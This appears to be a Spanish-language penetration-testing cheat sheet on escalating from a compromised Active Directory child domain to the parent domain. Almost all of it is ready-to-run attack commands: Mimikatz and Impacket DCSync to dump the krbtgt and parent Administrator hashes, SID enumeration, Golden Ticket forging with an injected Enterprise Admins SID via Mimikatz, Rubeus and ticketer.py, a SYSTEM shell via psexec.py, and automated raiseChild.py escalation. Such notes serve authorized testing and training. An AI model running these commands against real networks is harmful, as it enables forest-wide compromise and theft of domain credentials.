Child -> Parent Trusts

Para realizar este ataque tras comprometer un child domain, necesitamos lo siguiente:

  • El hash KRBTGT del child domain

  • El SID del child domain

  • El nombre de un usuario objetivo en el child domain (¡no necesita existir!)

  • El FQDN del child domain

  • El SID del grupo Enterprise Admins del root domain

  • Con estos datos recopilados, el ataque puede ejecutarse con Mimikatz.

from Windows

Mimikatz

Obtaining the KRBTGT Account's NT Hash using Mimikatz

En este ejemplo se nos proporciona el siguiente hash NTLM de la cuenta krbtgt: 9d765b482771505cbe97411065964d5f

.\mimikatz.exe "lsadump::dcsync /user:CHILD\krbtgt" exit

Using Get-DomainSID

El DomainSID del child domain de ejemplo que nos aparece de resultado es: S-1-5-21-2806153819-209893948-922872689

Import-Module .\PowerView.ps1
Get-DomainSID

Obtaining Enterprise Admins Group's SID using Get-DomainGroup

El SID del grupo "Enterprise Admins" del root domain de ejemplo es: S-1-5-21-3842939050-3880317879-2865463114-519

Get-DomainGroup -Domain PARENT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid

En este punto, hemos recopilado los siguientes datos:

  • Hash KRBTGT del child domain: 9d765b482771505cbe97411065964d5f

  • SID del child domain: S-1-5-21-2806153819-209893948-922872689

  • Nombre de usuario objetivo en el child domain (¡no necesita existir!): elegimos un usuario ficticio: hacker

  • FQDN del child domain: CHILD.PARENT.LOCAL

  • SID del grupo Enterprise Admins del root domain: S-1-5-21-3842939050-3880317879-2865463114-519

Creating a Golden Ticket with Mimikatz

Generamos el Golden Ticket y ya lo tendremos en nuestra sesión actual.

.\mimikatz.exe "kerberos::golden /user:hacker /domain:CHILD.PARENT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt" exit

Rubeus

Creating a Golden Ticket using Rubeus

.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689  /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt

Confirming the Ticket is in Memory Using klist

klist

Performing a DCSync Attack

.\mimikatz.exe "lsadump::dcsync /user:PARENT\Administrator /domain:PARENT.LOCAL" exit

from Linux

También podemos realizar el ataque mostrado en la sección anterior desde un host de ataque Linux. Para hacerlo, aún necesitaremos reunir la misma información:

  • El hash KRBTGT del dominio hijo

  • El SID del dominio hijo

  • El nombre de un usuario objetivo en el dominio hijo (¡no necesita existir!)

  • El FQDN del dominio hijo

  • El SID del grupo Enterprise Admins del dominio raíz

Manual Attack

Performing DCSync with secretsdump.py

En este ejemplo se nos proporciona el siguiente hash NTLM de la cuenta krbtgt: 9d765b482771505cbe97411065964d5f

secretsdump.py child.parent.local/user:'password'@192.168.14.122 -just-dc-user CHILD/krbtgt

Performing SID Brute Forcing using lookupsid.py

El DomainSID del child domain de ejemplo que nos aparece de resultado es: S-1-5-21-2806153819-209893948-922872689

lookupsid.py child.parent.local/user:'password'@192.168.14.122 | grep "Domain SID"

Grabbing the Domain SID & Attaching to Enterprise Admin's RID

El SID del grupo "Enterprise Admins" del root domain de ejemplo es: S-1-5-21-3842939050-3880317879-2865463114-519

lookupsid.py child.parent.local/user:'password'@192.168.14.5 | grep -B12 "Enterprise Admins"

Hemos reunido los siguientes datos para construir el comando de nuestro ataque. Nuevamente, usaremos el usuario inexistente hacker para forjar nuestro Golden Ticket:

  • El hash KRBTGT del dominio hijo: 9d765b482771505cbe97411065964d5f

  • El SID del dominio hijo: S-1-5-21-2806153819-209893948-922872689

  • El nombre del usuario objetivo en el dominio hijo: hacker

  • El FQDN del dominio hijo: CHILD.PARENT.LOCAL

  • El SID del grupo Enterprise Admins del dominio raíz: S-1-5-21-3842939050-3880317879-2865463114-519

Constructing a Golden Ticket using ticketer.py

ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain CHILD.PARENT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker

Setting the KRB5CCNAME Environment Variable

export KRB5CCNAME=$(pwd)/hacker.ccache

Getting a SYSTEM shell using Impacket's psexec.py

psexec.py CHILD.PARENT.LOCAL/hacker@dc01.parent.local -k -no-pass -target-ip 192.168.14.5

Automatic Attack (raiseChild.py)

Impacket también incluye la herramienta raiseChild.py, que automatiza la escalada del dominio hijo al dominio padre. Necesitamos especificar el Domain Controller objetivo y las credenciales de un usuario administrativo en el dominio hijo; el script hará el resto.

raiseChild.py -target-exec 192.168.14.5 CHILD.PARENT.LOCAL/user:'password'

Última actualización

¿Te fue útil?